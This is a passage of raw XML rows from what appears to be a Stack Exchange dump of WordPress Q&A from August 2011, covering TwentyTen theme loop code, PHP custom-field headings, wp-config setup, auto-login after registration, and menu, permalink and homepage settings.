?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php elseif ( in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( _x( 'gallery', 'gallery category slug', 'twentyten' ), 'category' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'More Galleries', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts of the Aside format. The asides category is the old way. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php elseif ( ( function_exists( 'get_post_format' ) &amp;amp;&amp;amp; 'aside' == get_post_format( $post-&amp;gt;ID ) ) || in_category( _x( 'asides', 'asides category slug', 'twentyten' ) )  ) : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt; &amp;lt;!-- blah balah--&amp;gt; blah&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;                &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;                &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display all other posts. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;                &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;                &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;                    &amp;lt;span class=&quot;cat-links&quot;&amp;gt;&#xA;                        &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted in&amp;lt;/span&amp;gt; %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $tags_list = get_the_tag_list( '', ', ' );&#xA;                    if ( $tags_list ):&#xA;                ?&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag-links&quot;&amp;gt;&#xA;                        &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Tagged&amp;lt;/span&amp;gt; %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // This was the if statement that broke the loop into three parts based on categories. ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Will&lt;/p&gt;&#xA;" OwnerUserId="5493" LastEditorUserId="5493" LastEditorDisplayName="" LastEditDate="2011-08-07T09:12:53.870" LastActivityDate="2011-08-07T09:12:53.870" Title="Navigation menu area disappears when gallery is on home page in TwentyTen theme" Tags="&lt;navigation&gt;&lt;gallery&gt;&lt;theme-twenty-ten&gt;" CommentCount="2" />
  <row Id="25194" PostTypeId="1" AcceptedAnswerId="25199" CreationDate="2011-08-07T08:48:29.833" Score="0" ViewCount="40" Body="&lt;p&gt;&lt;strong&gt;The Puzzle:&lt;/strong&gt;&#xA;I am currently working on a music blog that has various venues and numerous locations that are laid out at the top of each post as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;USA.California.Los Angeles.&lt;/strong&gt; Hollywood Bowl &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Everything except the venue name (Hollywood Bowl) is bold.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to limit the number of calls to the server I have clumped all the title information into a single array (as seen below).&#xA;&lt;img src=&quot;http://i.stack.imgur.com/0CY9X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/QYAz8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now I am simply calling everything in the array consecutively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_fields = get_post_custom($post-&amp;gt;ID); &#xA;    for ($i = 1; $i &amp;lt;= 4; $i++)  {&#xA;        if(isset($custom_fields[&quot;rw_location_$i&quot;])){ ?&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;?php echo get_post_meta ($post-&amp;gt;ID,&quot;rw_location_$i&quot;, true ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question:&lt;/strong&gt;&#xA;How do I still make a &quot;single call&quot; but create a unique class (h1,h2,h3) for different &lt;code&gt;$i&lt;/code&gt;? For example have the &lt;code&gt;$i = 1&lt;/code&gt; be a &lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;/h1&amp;gt;&lt;/code&gt; tag and &lt;code&gt;$i = 2,3,4&lt;/code&gt; be &lt;code&gt;&amp;lt;h2&amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my question is clear enough, if not I'd be happy to elaborate further. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(P.S. I know the numbering is off, but I'm sure we can all overlook that)&lt;/p&gt;&#xA;" OwnerUserId="6423" LastEditorUserId="6423" LastEditorDisplayName="" LastEditDate="2011-08-07T09:07:21.683" LastActivityDate="2011-08-07T10:08:29.757" Title="PHP Puzzle: Unique Styles with PHP loop" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;metabox&gt;&lt;styles&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25195" PostTypeId="2" ParentId="19962" CreationDate="2011-08-07T09:02:52.197" Score="0" ViewCount="" Body="&lt;p&gt;If you're on the archive.php page and need the current term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($wp_query-&amp;gt;queried_object);&#xA;var_dump($wp_query-&amp;gt;queried_object-&amp;gt;name);&#xA;var_dump($wp_query-&amp;gt;queried_object-&amp;gt;term_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7701" LastActivityDate="2011-08-07T09:02:52.197" />
  <row Id="25196" PostTypeId="2" ParentId="25192" CreationDate="2011-08-07T09:03:34.537" Score="1" ViewCount="" Body="&lt;p&gt;Here is how you make your config.php manually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your download there should be a wp-config-sample.php.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open this is a text editor.&lt;/li&gt;&#xA;&lt;li&gt;Fill in your database connection details.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot; rel=&quot;nofollow&quot;&gt;https://api.wordpress.org/secret-key/1.1/salt/&lt;/a&gt; and get the code.&lt;/li&gt;&#xA;&lt;li&gt;Copy the above cope and paste into the sample file over the top of the existing &lt;code&gt;defines&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save the file as wp-config.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The answer to &quot;should I put it in public_html?&quot; is yes if thats where the rest of your wordpress files are.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-07T09:03:34.537" />
  <row Id="25197" PostTypeId="2" ParentId="25190" CreationDate="2011-08-07T09:16:46.540" Score="2" ViewCount="" Body="&lt;p&gt;I've installed this plugin and it seems to work for me. Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to settings page of plugin and setup a group of settings.&lt;/li&gt;&#xA;&lt;li&gt;Then set the group as a connector to pages/posts&lt;/li&gt;&#xA;&lt;li&gt;Go to post/page and add new.&lt;/li&gt;&#xA;&lt;li&gt;Down the right hand side should be a drop down saying what group do you want to use for this post page.&lt;/li&gt;&#xA;&lt;li&gt;Select the group and publish the page/post. You will need to make sure when you publish that there is some content in the title otherwise it wont publish.&lt;/li&gt;&#xA;&lt;li&gt;Once that is done the custom fields should appear where you expect.&lt;/li&gt;&#xA;&lt;li&gt;If not then try clicking screen options at the top and make sure that the tick box is ticked for the meta box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-07T09:16:46.540" CommentCount="2" />
  <row Id="25198" PostTypeId="1" CreationDate="2011-08-07T09:49:07.897" Score="0" ViewCount="83" Body="&lt;p&gt;&lt;strong&gt;With the current version of wordpress 3.2.1 I am having this kinds of problem. I install wordpress frequently and I did not notice it before 3.2.1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Not being able to save settings under settings tab. The file names are &lt;code&gt;options-general.php&lt;/code&gt;, &lt;code&gt;options-writing.php&lt;/code&gt;, &lt;code&gt;options-reading.php&lt;/code&gt;, &lt;code&gt;options-discussion .php&lt;/code&gt;,&lt;code&gt;options-privacy.php&lt;/code&gt;. Only settings that seems to be working is &lt;code&gt;options-permalink.php&lt;/code&gt;. When I press the save settings button its just keep going and after couple of minutes its says &quot;connection was reset&quot; and some time with a &quot;500 internal server error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However &lt;code&gt;options.php&lt;/code&gt; page is also okey infact i am currently using it to same those information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Observations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Hosting:&lt;/strong&gt; Tested in different hosting &quot;inmotion&quot;, &quot;hostgator&quot; &quot;godaddy&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Technical info:&lt;/strong&gt; All of those wordpress runs on Linux and apache.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Browser:&lt;/strong&gt; I know its not a browser issue but still i tested it with different browsers Firefox and Chrome.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Theme installed:&lt;/strong&gt; Some of those sites are using default 2011 theme and some custom theme. So, I don't think its a problem with theme.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Plugins:&lt;/strong&gt; Tested with fresh wordpress install with no plugin/with plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just downloaded the wordpress 3.2.1 zip file from wordpress.org and installed it to my localhost. Its seems fine in my local computer. But still having problem with wordpress in server.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-24T12:15:57.633" LastActivityDate="2011-08-24T12:15:57.633" Title="Problem saving wordpress settings with current version. Is it a bug?" Tags="&lt;wp-options&gt;&lt;bug&gt;&lt;internal-server-error&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="25199" PostTypeId="2" ParentId="25194" CreationDate="2011-08-07T10:08:29.757" Score="0" ViewCount="" Body="&lt;p&gt;To are still call database inside the by &lt;code&gt;get_post_meta()&lt;/code&gt; where you already have the values in &lt;code&gt;$custom_fields&lt;/code&gt; variable. Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;&#xA;    $custom_fields = get_post_custom($post-&amp;gt;ID); &#xA;      for ($i = 1; $i &amp;lt;= 4; $i++)  {&#xA;       if(isset($custom_fields[&quot;rw_location_$i&quot;][0])){ &#xA;        if($i==1){ echo '&amp;lt;h1&amp;gt;';} else {echo '&amp;lt;h2&amp;gt;';}&#xA;        echo $custom_fields[&quot;rw_location_$i&quot;][0] &#xA;        if($i==1) {echo '&amp;lt;/h1&amp;gt;'; }else {echo '&amp;lt;/h2&amp;gt;'};&#xA;       }&#xA;    } &#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I get your question right. Are you looking to echo &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; for the first iteration and &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; for all other iteration?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-07T10:08:29.757" CommentCount="2" />
  <row Id="25200" PostTypeId="1" CreationDate="2011-08-07T10:48:31.910" Score="-1" ViewCount="19" Body="&lt;p&gt;Right now the subscribes have access only to their profile page. Dashboard has been deactivated for them. How can I add an extra menu panel or a link to the top of the profile page which will link to a front end help page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is very much appreciated. &#xA;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="7704" LastActivityDate="2011-08-07T10:48:31.910" Title="How can I add a menu panel visible to subscribers only" Tags="&lt;menus&gt;" CommentCount="1" />
  <row Id="25201" PostTypeId="1" CreationDate="2011-08-07T10:58:33.287" Score="-1" ViewCount="22" Body="&lt;p&gt;In a post on WordPress, is there a way of selecting items of text and applying formatting, such as font / font style and font size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there is a 'Format' dropdown... should I change the styles of the items here first? And if so, how is this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T11:12:06.357" Title="Formatting text in posts" Tags="&lt;formatting&gt;" AnswerCount="1" />
  <row Id="25202" PostTypeId="1" AcceptedAnswerId="25205" CreationDate="2011-08-07T11:11:03.797" Score="0" ViewCount="15" Body="&lt;p&gt;How can I change the ordering of menu items -- for example to make 'Wordfruit Copywriters' appear before 'How can you sell more of your product?' here: &lt;a href=&quot;http://richardclunan.com/&quot; rel=&quot;nofollow&quot;&gt;http://richardclunan.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T11:20:46.600" Title="How to change order of menu items" Tags="&lt;menus&gt;" AnswerCount="1" />
  <row Id="25203" PostTypeId="2" ParentId="25201" CreationDate="2011-08-07T11:12:06.357" Score="0" ViewCount="" Body="&lt;p&gt;Find the Kitchen Sink button on the visual editor you should find Lots of options for formatting text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/09Fnt.jpg&quot; alt=&quot;Kitchen Sink Button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-07T11:12:06.357" CommentCount="3" />
  <row Id="25204" PostTypeId="1" CreationDate="2011-08-07T11:18:52.187" Score="1" ViewCount="25" Body="&lt;p&gt;Is there a way to set a url for a page, as per the following example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change this url: &lt;a href=&quot;http://richardclunan.com/?page_id=2&quot; rel=&quot;nofollow&quot;&gt;http://richardclunan.com/?page_id=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To: &lt;a href=&quot;http://richardclunan.com/copy-critiques&quot; rel=&quot;nofollow&quot;&gt;http://richardclunan.com/copy-critiques&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I clicked Permalink Settings and specified 'copy-critiques' as Category Base, but this didn't do the trick...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T12:29:09.463" Title="Setting a url for a page" Tags="&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25205" PostTypeId="2" ParentId="25202" CreationDate="2011-08-07T11:20:46.600" Score="0" ViewCount="" Body="&lt;p&gt;Go to appearance -&gt; menus section. Here you can create menus, add menu items and drag them around to place it to your desired place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can set up the menu order of a page. Just click edit page and you will see the menu order it should be under &lt;strong&gt;Page attribute&lt;/strong&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-07T11:20:46.600" />
  <row Id="25206" PostTypeId="2" ParentId="25198" CreationDate="2011-08-07T11:27:04.587" Score="1" ViewCount="" Body="&lt;p&gt;Sounds like a couple of possibilities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) an upgrade that may not have completed successfully or fully - try reloading wordpress completely (download and ftp). This has happening to a few folk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &#xA;2)&#xA; a plugin that may not be compatible with new version.  For debugging purposes, try deactivating one by one till problem goes away (or deactivate all, then reactivate one by one till problem recreated).  If no change see 1) above. :)&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-07T11:27:04.587" CommentCount="1" />
  <row Id="25207" PostTypeId="1" AcceptedAnswerId="25212" CreationDate="2011-08-07T11:39:19.153" Score="1" ViewCount="20" Body="&lt;p&gt;Is it possible to change the Home page so it's not a blog, but a page? And also is it possible to change the name of the homepage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how is this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T12:08:53.733" Title="Changing the homepage" Tags="&lt;homepage&gt;" AnswerCount="1" />
  <row Id="25208" PostTypeId="1" AcceptedAnswerId="25210" CreationDate="2011-08-07T11:49:38.703" Score="0" ViewCount="14" Body="&lt;p&gt;Do different themes accommodate different features, or can all themes accommodate any feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. do I need to bear in mind what features I'll need when I choose a theme, or are themes only how things are laid out visually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to change the image in the default theme 'Twenty Eleven'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-07T12:01:38.673" Title="Do all themes accommodate all features?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="25209" PostTypeId="2" ParentId="25078" CreationDate="2011-08-07T11:57:16.980" Score="1" ViewCount="" Body="&lt;p&gt;Here is a function I wrote that hooks into the gravity forms create user form but it can be added to whatever action hook your wp_create_user function is attached to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_auto_login( $user_id ) {&#xA;    wp_set_auth_cookie( $user_id, false, is_ssl() );&#xA;    wp_redirect( admin_url( 'profile.php' ) );&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important part is &lt;code&gt;wp_set_auth_cookie&lt;/code&gt;.  This has to fire after the user is the best (only?) way to auto login a user without filling out the login form.  &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-07T11:57:16.980" />
  <row Id="25210" PostTypeId="2" ParentId="25208" CreationDate="2011-08-07T12:01:38.673" Score="0" ViewCount="" Body="&lt;p&gt;No, not all Themes accommodate all features; but to answer that question more precisely, you'll need to be more specific about what you consider to be &quot;features&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things that are generally considered &lt;em&gt;Theme&lt;/em&gt; features are fairly well-represented by &lt;a href=&quot;http://wordpress.org/extend/themes/tag-filter/&quot; rel=&quot;nofollow&quot;&gt;the list of filter tags for WORG repository-hosted Themes&lt;/a&gt;. You'll notice that these things generally deal with &lt;em&gt;presentation&lt;/em&gt; of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things dealing with &lt;em&gt;creation&lt;/em&gt; or &lt;em&gt;management&lt;/em&gt; of content are generally considered &lt;em&gt;Plugin&lt;/em&gt; territory, and generally speaking, any Theme &lt;em&gt;should&lt;/em&gt; accommodate such Plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Your second question is unrelated, and should be asked in a separate question.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-07T12:01:38.673" />
  <row Id="25211" PostTypeId="1" CreationDate="2011-08-07T12:05:37.623" Score="1" ViewCount="23" Body="&lt;p&gt;We created a theme that has a lot of changes in it. Now we want to enable that theme on our site in different colors, and a few images different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/N77sV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we're doing is duplicating the theme, and then making a few changes in the CSS, and change a few images. But it seems an overkill - to copy the all the theme files just to make so few changes. Moreover, if we ever have to change something functional in the theme, we'll have to go through all the duplications and apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to give users the option of changing colors &amp;amp; images, without duplicating the theme?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-08-07T13:38:42.570" Title="Theme change only in CSS and a few images" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25212" PostTypeId="2" ParentId="25207" CreationDate="2011-08-07T12:08:53.733" Score="1" ViewCount="" Body="&lt;p&gt;To change the &lt;strong&gt;site Front Page&lt;/strong&gt; to be a &lt;em&gt;static Page&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;strong&gt;Front page displays&lt;/strong&gt; from &lt;em&gt;Your latest posts&lt;/em&gt; to &lt;em&gt;A static page&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the dropdown beneath this option, select the static Page to use as your Front Page.&lt;/li&gt;&#xA;&lt;li&gt;If you want to display your blog Posts somewhere, select a static Page to use to display them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To change the &lt;strong&gt;title&lt;/strong&gt; of your Front Page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Front Page will assume the &lt;em&gt;Page Title&lt;/em&gt; of whatever static Page you selected above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" 